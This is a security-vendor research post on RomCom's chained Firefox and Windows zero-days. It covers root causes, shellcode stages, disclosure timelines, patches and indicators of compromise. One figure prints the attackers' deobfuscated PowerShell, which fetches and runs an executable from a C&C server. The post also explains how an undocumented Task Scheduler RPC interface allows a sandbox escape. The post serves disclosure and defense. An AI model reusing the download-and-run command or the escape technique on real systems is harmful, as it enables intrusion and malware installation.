ESET researchers discovered a previously unknown vulnerability in Mozilla products, exploited in the wild by Russia-aligned group RomCom. This is at least the second time that RomCom has been caught exploiting a significant zero-day vulnerability in the wild, after the abuse of CVE-2023-36884 via Microsoft Word in June 2023.
This critical vulnerability, assigned CVE-2024-9680 with a CVSS score of 9.8, allows vulnerable versions of Firefox, Thunderbird, and the Tor Browser to execute code in the restricted context of the browser. Chained with another previously unknown vulnerability in Windows, assigned CVE-2024-49039 with a CVSS score of 8.8, arbitrary code can be executed in the context of the logged-in user. In a successful attack, if a victim browses to a web page containing the exploit, an adversary can run arbitrary code – without any user interaction required – which in this case led to the installation of RomCom’s eponymous backdoor on the victim’s computer.
Key points of this blogpost:
- On October 8th, 2024, ESET researchers discovered a previously unknown zero-day vulnerability in Mozilla products being exploited in the wild.
- Analysis of the exploit led to the discovery of the vulnerability, now assigned CVE-2024-9680: a use-after-free bug in the animation timeline feature in Firefox. Mozilla patched the vulnerability on October 9th, 2024.
- Further analysis revealed another zero-day vulnerability in Windows: a privilege escalation bug, now assigned CVE‑2024‑49039, that allows code to run outside of Firefox’s sandbox. Microsoft released a patch for this second vulnerability on November 12th, 2024.
- Successful exploitation attempts delivered the RomCom backdoor, in what looks like a widespread campaign.
RomCom profile
RomCom (also known as Storm-0978, Tropical Scorpius, or UNC2596) is a Russia-aligned group that conducts both opportunistic campaigns against selected business verticals and targeted espionage operations. The group’s focus has shifted to include espionage operations collecting intelligence, in parallel with its more conventional cybercrime operations. The backdoor used by the group is capable of executing commands and downloading additional modules to the victim’s machine.
Table 1 shows the sectors targeted, according to our research, by RomCom in 2024. This highlights that the group is engaged in espionage but also cybercrime operations.
Table 1. RomCom victims in 2024
Vertical and region | Purpose | First seen |
Governmental entity in Ukraine | Espionage | 2024-01 |
Pharmaceutical sector in the US | Cybercrime | 2024-03 |
Legal sector in Germany | Cybercrime | 2024-03 |
Insurance sector in the US | Cybercrime | 2024-04 |
Defense sector in Ukraine | Espionage | 2024-08 |
Energy sector in Ukraine | Espionage | 2024-08 |
Governmental entities in Europe | Espionage | 2024-08 |
Worldwide targeting – Firefox exploit | Unknown | 2024-10 |
Compromise chain
The compromise chain is composed of a fake website that redirects the potential victim to the server hosting the exploit, and should the exploit succeed, shellcode is executed that downloads and executes the RomCom backdoor – an example of which is depicted in Figure 1. While we don’t know how the link to the fake website is distributed, however, if the page is reached using a vulnerable browser, a payload is dropped and executed on the victim’s computer with no user interaction required. Finally, a JavaScript redirection is performed using window.location.href after a few seconds, giving the exploit time to run.
From October 10th, 2024 to October 16th, 2024, just after the first vulnerability was patched, we found other C&C servers hosting the exploit. They used a recurring naming scheme for their fake servers by adding the prefix or suffix redir or red to a legitimate domain, sometimes also changing its top-level domain (TLD), as shown in Table 2. The redirection at the end of the exploitation attempt took the victims to the legitimate website at the original domain name, presumably to avoid raising the targets’ suspicions.
Table 2. Fake servers redirecting to the exploit
First seen | Fake server | Final redirect to | Redirect website purpose |
2024-10-10 | redircorrectiv[.]com | correctiv.org | Nonprofit independent newsroom. |
2024-10-14 | devolredir[.]com | devolutions.net | Remote access and password management solutions. |
2024-10-15 | redirconnectwise[.]cloud | connectwise.com | MSP technology and IT management software. |
2024-10-16 | redjournal[.]cloud | connectwise.com |
If a victim using a vulnerable browser visits a web page serving this exploit, the vulnerability is triggered and shellcode is executed in a content process. The shellcode is composed of two parts: the first retrieves the second from memory and marks the containing pages as executable, while the second implements a PE loader based on the open-source project Shellcode Reflective DLL Injection (RDI).
The loaded library implements a sandbox escape for Firefox that leads to downloading and executing the RomCom backdoor on the victim’s computer. The backdoor is staged at a C&C server located at journalctd[.]live, correctiv[.]sbs, or cwise[.]store, depending on the sample.
According to our telemetry, from October 10th, 2024 to November 4th, 2024, potential victims who visited websites hosting the exploit were located mostly in Europe and North America, as shown in Figure 2. The number of potential targets runs from a single victim per country to as many as 250, according to ESET telemetry.
CVE-2024-9680: Use-after-free in Firefox animation timeline
On October 8th, 2024, we found interesting files used to deliver the RomCom backdoor, hosted on the server 1drv.us[.]com controlled by the threat actor. The exploits target a use-after-free vulnerability in Firefox animation timelines, allowing an attacker to achieve code execution in a content process. During our investigation, we analyzed the files referenced in Table 3.
Table 3. Files related to the exploit
Name | Description |
main-128.js | JavaScript file containing the exploit for versions of Firefox from 106 to 128. |
main-129.js | JavaScript file containing the exploit for versions of Firefox from 129 to 131. |
main-tor.js | JavaScript file containing the exploit for Tor Browser versions 12 and 13. |
script.js | JavaScript file used to generate a CAPTCHA. |
utils.js | JavaScript file containing helper functions, e.g., to convert data types, or to get the OS type or browser version. |
animation0.html | HTML iframe loaded by the exploit to trigger the use-after-free vulnerability. |
index.html | HTML page loading the exploit and redirecting to a legitimate website after a few seconds. |
Timestamps related to these files indicate that they were created on October 3rd, 2024 and made available online; nevertheless, the threat actor might have been in possession of this exploit earlier than this.
We reported the vulnerability to Mozilla shortly after discovery, with the following timeline of events:
- 2024-10-08: Discovery and initial analysis.
- 2024-10-08: Vulnerability reported to Mozilla.
- 2024-10-08: Vulnerability acknowledged by Mozilla.
- 2024-10-09: CVE-2024-9680 assigned by Mozilla Corporation.
- 2024-10-09: Vulnerability patched in Firefox, Security Advisory 2024-51.
- 2024-10-09: Vulnerability patched in Tor Browser with release 13.5.7.
- 2024-10-10: Vulnerability patched in Tails with release 6.8.1.
- 2024-10-10: Vulnerability patched in Thunderbird, Security Advisory 2024-52.
We would like to thank the team at Mozilla for being very responsive and highlight their impressive work to release a patch within a day.
Mozilla and the Tor Project released a patch that fixes the vulnerability in the following versions:
- Firefox 131.0.2
- Firefox ESR 115.16.1
- Firefox ESR 128.3.1
- Tor Browser 13.5.7
- Tails 6.8.1
- Thunderbird 115.16
- Thunderbird 128.3.1
- Thunderbird 131.0.1
During the preparation of this blogpost, independent researcher Dimitri Fourny released a detailed analysis of the vulnerability on November 14th, 2024.
Root cause analysis
The main-<Firefox version>.js first checks the exact version of the browser, and determines its exploitability by checking some specific objects’ offsets and sizes for an affected version. If these checks pass, it proceeds to add an HTML iframe into the exploit page, implemented in animation0.html. The latter creates four HTML div elements identified respectively as target0 to target3, but most importantly it defines a getter function for the Object.prototype’s then property as shown in Figure 3. This function will trigger the use-after-free vulnerability as explained below. Note that the comments (in dark green) are from the exploit authors; this could indicate that the exploit was still in a developmental phase or that the threat actor bought it.
After some initial heap spraying, the prepare function creates four Animation objects, one for each div element previously created, as illustrated in Figure 4. These animation objects are handled by an AnimationTimeline object.
During the document animation timeline, the test function is called, which pauses and gets the ready property of the first and second animation objects. As stated in the documentation, the ready property returns a Promise that resolves when the animation is ready to be played. Calling the then method on the promise causes the getter function shown in Figure 3 to be called. Essentially, this function increments a global flag variable and when it reaches 2, the first animation object (anim0) is cancelled, and all the div elements are removed. The call to the rm0 function (shown in Figure 3) sets the animation objects to null in order to free them, which triggers the use-after-free vulnerability. This function also does some heap feng shui and, in the initially discovered exploit, calls the getInfo function responsible for achieving code execution.
In the meantime, as the animation0.html document is being refreshed, the Tick method of its AnimationTimeline object is called periodically. As seen in Figure 5, this method iterates over the different animation objects present in the animation timeline and appends animations to be removed to a local array variable called animationsToRemove.
The bug lies in that, while iterating over the different animation objects of the animation timeline, the Tick method of the Animation object is called, which can lead to the freeing of the current animation object, resulting in handling a dangling pointer. While debugging the exploit, we observed a sequence of calls that eventually ended up in the getter function explained above, as illustrated in Figure 6 and Figure 7.
The getter function calls Animation::Cancel which in turn calls AnimationTimeline::RemoveAnimation. Then, the animation objects anim0 and anim1 are set to null in order for them to get freed. When AnimationTimeline::Tick then iterates over the array animationsToRemove (line 74 in Figure 5), AnimationTimeline::RemoveAnimation will manipulate a dangling pointer of an Animation object that was already removed, as shown in Figure 8.
After freeing the animations in the rm0 function, the exploit proceeds with more heap management in order to control the objects that will replace the freed animations, and finally, the getInfo function is called, as seen in Figure 9.
Without going into too much detail about the exploit code, its author abused div objects and their attributes as well as ImageData objects to leak properties of the latter, as observed in Figure 10.
Then, the exploit code proceeds to manipulate ArrayBuffer objects so as to leak the address of an arbitrary JavaScript object (known as an addrof primitive) and abuse the Firefox JIT compiler to execute the first shellcode component in the context of a content process, as illustrated in Figure 11. This technique is explained in great detail in this blogpost.
Mozilla patched the vulnerability in Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1 on October 9th, 2024. Essentially, the pointers to the animation objects handled by the timeline are now implemented through reference-counting pointers (RefPtr), as suggested by the diff, which prevents the animations from being freed, since AnimationTimeline::Tick will still hold a reference to them.
Shellcode analysis
Both shellcodes are stored in the JaveScript exploit file main-<Firefox version>.js. The first one is dynamically created as an array of float numbers while the second one is stored as a huge array of bytes.
Egghunting shellcode
This first shellcode simply retrieves the second shellcode by searching in memory for a hardcoded magic value of 0x8877665544332211, changes its memory protection to read-write-execute (RWX), and executes the code located at this address.
Reflective loader shellcode
This second shellcode is the compiled version of the Shellcode RDI project, which enables a DLL to be loaded. The constants used in the shellcode were not changed by the threat actor (see https://github.com/monoxgas/sRDI/blob/master/Native/Loader.cpp#L367 vs. the constants shown in Figure 12).
The shellcode simply loads an embedded library whose sole purpose is to escape the restrictions of Firefox’s sandboxed content process.
CVE-2024-49039: Privilege escalation in Windows Task Scheduler
The loaded library (SHA1: ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6), named PocLowIL by its developers and compiled on October 3rd, 2024, implements a sandbox escape from the untrusted process level of the content process to a medium level. Essentially, the library makes use of an undocumented RPC endpoint, which should not have been callable from an untrusted process level, to launch a hidden PowerShell process that downloads a second stage from a C&C server.
The timeline of the vulnerability disclosure is the following:
- 2024-10-08: As part of our initial report to Mozilla for CVE-2024-9680, we also provided what we believed to be a sandbox escape.
- 2024-10-14: Mozilla’s security team confirmed the sandbox escape and deemed the vulnerability to be tied to a Windows security flaw. They advised us that they had contacted the Microsoft Security Response Center (MSRC) to assess the vulnerability.
- 2024-11-12: Microsoft released an advisory for CVE-2024-49039 and its corresponding patch through the update KB5046612. The vulnerability was also independently found by Vlad Stolyarov and Bahare Sabouri of Google’s Threat Analysis Group, as mentioned in KB5046612.
Root cause analysis
The sandbox escape code resides in the relatively small main function of the library. It makes use of an undocumented RPC endpoint, as illustrated in Figure 13.
The function proceeds to populate undocumented structures and calls NdrClientCall2 three times. The first parameter passed to this function, pStubDescriptor, is a MIDL_STUB_DESC structure whose RpcInterfaceInformation member points to an interface identified by the GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1. This interface is implemented in the Windows library WPTaskScheduler.dll, loaded by schedsvc.dll, hosted in the process of the task scheduler service (svchost.exe).
According to our analysis of this interface, the sandbox escape code calls the following functions:
- s_TaskSchedulerCreateSchedule
- s_TaskSchedulerExecuteSchedule
- s_TaskSchedulerDeleteSchedule (used only for cleanup)
Using RpcView and after partially reversing some structures, we figured out the main structures, as illustrated in Figure 14.
After applying these structures in IDA Pro, we obtained a clearer overview of the task, as seen in Figure 15.
Based on the code, the malicious library creates a scheduled task that will run an arbitrary application at medium integrity level, allowing the attackers to elevate their privileges on the system and break out of the sandbox. This is possible due to the lack of restrictions imposed on the security descriptor applied to the RPC interface during its creation, as illustrated in Figure 16.
The renamed variable interface_security_descriptor, used when RpcServerRegisterIf3 is called, has the following value: D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD). According to the Security Descriptor Definition Language (SDDL), it allows everyone (WD) to communicate with the RPC interface and call its procedures regardless of their integrity level.
Exploitation
In this case, the threat actor created a task named firefox.exe that will launch conhost.exe in headless mode in order to hide the child process window. The deobfuscation of the rest of the command line (shown in Figure 15) revealed the PowerShell code seen in Figure 17.
$a=$env:public + '\\public';
Invoke-WebRequest https://journalctd[.]live/JfWb4OrQPLh -o $a;
sleep 15;
Rename-Item $a ($a = ($a + '.exe')) # $env:public\public.exe
Start-Process $a;
sleep 10;
Rename-Item $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:public\epublic.exe
Start-Process $a
Figure 17. PowerShell code downloading a next-stage component
An executable is downloaded from https://journalctd[.]live/JfWb4OrQPLh, stored in the %PUBLIC% folder as public.exe, and run. After 10 seconds, it is renamed as epublic.exe and run again.
Brief patch analysis
The patched version of WPTaskScheduler.dll (version 10.0.19041.5129) released with KB5046612 makes use of a more complicated security descriptor, as shown in Figure 18.
The new security descriptor is:
D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)
Breaking down the string reveals the following restriction logic:
- the system (SY) and local service (LS) accounts are granted read, write, and execute access,
- the network service (NS) account and interactive users (IU) are granted only read access,
- lastly, objects below medium level (ME) integrity are denied read, write, and execute access.
The new restrictions imposed by the updated security descriptor prevent the privilege escalation and render the sandbox escape code obsolete.
Conclusion
Chaining together two zero-day vulnerabilities armed RomCom with an exploit that requires no user interaction. This level of sophistication shows the threat actor’s will and means to obtain or develop stealthy capabilities. ESET shared detailed findings with Mozilla, following our coordinated vulnerability disclosure process shortly after discovery. Mozilla released a blogpost about how they reacted to the disclosure and were able to release a fix within 25 hours, which is very impressive in comparison to industry standards.
For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.
IoCs
A comprehensive list of indicators of compromise and samples can be found in our GitHub repository.
Files
SHA-1 | Filename | Detection | Description |
A4AAD0E2AC1EE0C8DD25 |
utils.js | JS/Exploit.Agent.NSF | RomCom Firefox exploit. |
CA6F8966A3B2640F49B1 |
main-tor.js | JS/Exploit.Agent.NSE | RomCom Firefox exploit. |
21918CFD17B378EB4152 |
main-128.js | JS/Exploit.Agent.NSE | RomCom Firefox exploit. |
703A25F053E356EB6ECE |
main-129.js | JS/Exploit.Agent.NSE | RomCom Firefox exploit. |
ABB54C4751F97A9FC1C9 |
PocLowIL.dll | Win64/Runner.AD | RomCom Firefox sandbox escape. |
A9D445B77F6F4E90C29E |
PocLowIL.dll | Win64/Runner.AD | RomCom Tor browser sandbox escape. |
Network
IP | Domain | Hosting provider | First seen | Details |
194.87.189[.]171 | journalctd |
Aeza International LTD | 2024-10-08 | RomCom second-stage C&C server. |
178.236.246[.]241 | correctiv |
AEZA INTERNATIONAL LTD | 2024-10-09 | RomCom second-stage C&C server. |
62.60.238[.]81 | cwise |
AEZA INTERNATIONAL LTD | 2024-10-15 | RomCom second-stage C&C server. |
147.45.78[.]102 | redircorrectiv |
AEZA INTERNATIONAL LTD | 2024-10-10 | RomCom exploit delivery C&C server. |
46.226.163[.]67 | devolredir |
AEZA INTERNATIONAL LTD | 2024-10-14 | RomCom exploit delivery C&C server. |
62.60.237[.]116 | redirconnectwise |
AEZA INTERNATIONAL LTD | 2024-10-15 | RomCom exploit delivery C&C server. |
62.60.237[.]38 | redjournal |
AEZA INTERNATIONAL LTD | 2024-10-16 | RomCom exploit delivery C&C server. |
194.87.189[.]19 | 1drv.us |
AEZA INTERNATIONAL LTD | 2024-10-08 | RomCom malware delivery C&C server. |
45.138.74[.]238 | economistjournal |
AEZA INTERNATIONAL LTD | 2024-10-16 | RomCom exploit redirection C&C server. |
176.124.206[.]88 | N/A | AEZA INTERNATIONAL LTD | 2024-10-08 | RomCom second-stage C&C server. |
MITRE ATT&CK techniques
This table was built using version 16 of the MITRE ATT&CK framework.
Tactic | ID | Name | Description |
Resource Development | T1583 | Acquire Infrastructure | RomCom sets up VPSes and buys domain names. |
T1587.001 | Develop Capabilities: Malware | RomCom develops malware in multiple programming languages. | |
T1587.004 | Develop Capabilities: Exploits | RomCom may develop exploits used for initial compromise. | |
T1588.003 | Obtain Capabilities: Code Signing Certificates | RomCom obtains valid code-signing certificates to sign its malware. | |
T1588.005 | Obtain Capabilities: Exploits | RomCom may acquire exploits used for initial compromise. | |
T1588.006 | Obtain Capabilities: Vulnerabilities | RomCom may obtain information about vulnerabilities it uses for targeting victims. | |
T1608 | Stage Capabilities | RomCom stages malware on multiple delivery servers. | |
Initial Access | T1189 | Drive-by Compromise | RomCom compromises victims through a user visiting a website hosting an exploit. |
Execution | T1053.005 | Scheduled Task/Job: Scheduled Task | RomCom creates a scheduled task using RCP to execute the next stage downloader. |
Persistence | T1546.015 | Event Triggered Execution: Component Object Model Hijacking | The RomCom backdoor hijacks DLLs loaded by explorer.exe or wordpad.exe for persistence. |
Privilege Escalation | T1068 | Exploitation for Privilege Escalation | RomCom exploits a vulnerability to escape the Firefox sandbox. |
Defense Evasion | T1622 | Debugger Evasion | The RomCom backdoor detects debuggers by registering an exception handler. |
T1480 | Execution Guardrails | The RomCom backdoor checks whether the system state is suitable for execution. | |
T1027.011 | Obfuscated Files or Information: Fileless Storage | The RomCom backdoor is stored encrypted in the registry. | |
T1553.002 | Subvert Trust Controls: Code Signing | The RomCom backdoor weakens security mechanisms by using trusted code-signing certificates. | |
Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | The RomCom backdoor collects passwords, cookies, and sessions using a browser stealer module. |
T1552.001 | Unsecured Credentials: Credentials In Files | The RomCom backdoor collects passwords using a file reconnaissance module. | |
Discovery | T1087 | Account Discovery | The RomCom backdoor collects username, computer, and domain data. |
T1518 | Software Discovery | The RomCom backdoor collects information about installed software and versions. | |
T1614 | System Location Discovery | The RomCom backdoor checks for a specific keyboard layout ID (KLID). | |
Lateral Movement | T1021 | Remote Services | The RomCom backdoor creates SSH tunnels to move laterally within compromised networks. |
Collection | T1560 | Archive Collected Data | The RomCom backdoor stores data in a ZIP archive for exfiltration. |
T1185 | Man in the Browser | The RomCom backdoor steals browser cookies, history, and saved passwords. | |
T1005 | Data from Local System | The RomCom backdoor collects specific file types based on file extensions. | |
T1114.001 | Email Collection: Local Email Collection | The RomCom backdoor collects files with .msg, .eml, and .email extensions. | |
T1113 | Screen Capture | The RomCom backdoor takes screenshots of the victim’s computer. | |
Command and Control | T1071.001 | Standard Application Layer Protocol: Web Protocols | The RomCom backdoor uses HTTP or HTTPS as a C&C protocol. |
T1573.002 | Encrypted Channel: Asymmetric Cryptography | The RomCom backdoor encrypts communication using SSL certificates. | |
Exfiltration | T1041 | Exfiltration Over Command-and-Control Channel | The RomCom backdoor exfiltrates data using the HTTPS C&C channel. |
Impact | T1565 | Data Manipulation | RomCom manipulates systems and steals data. |
T1657 | Financial Theft | RomCom compromises companies for financial interest. |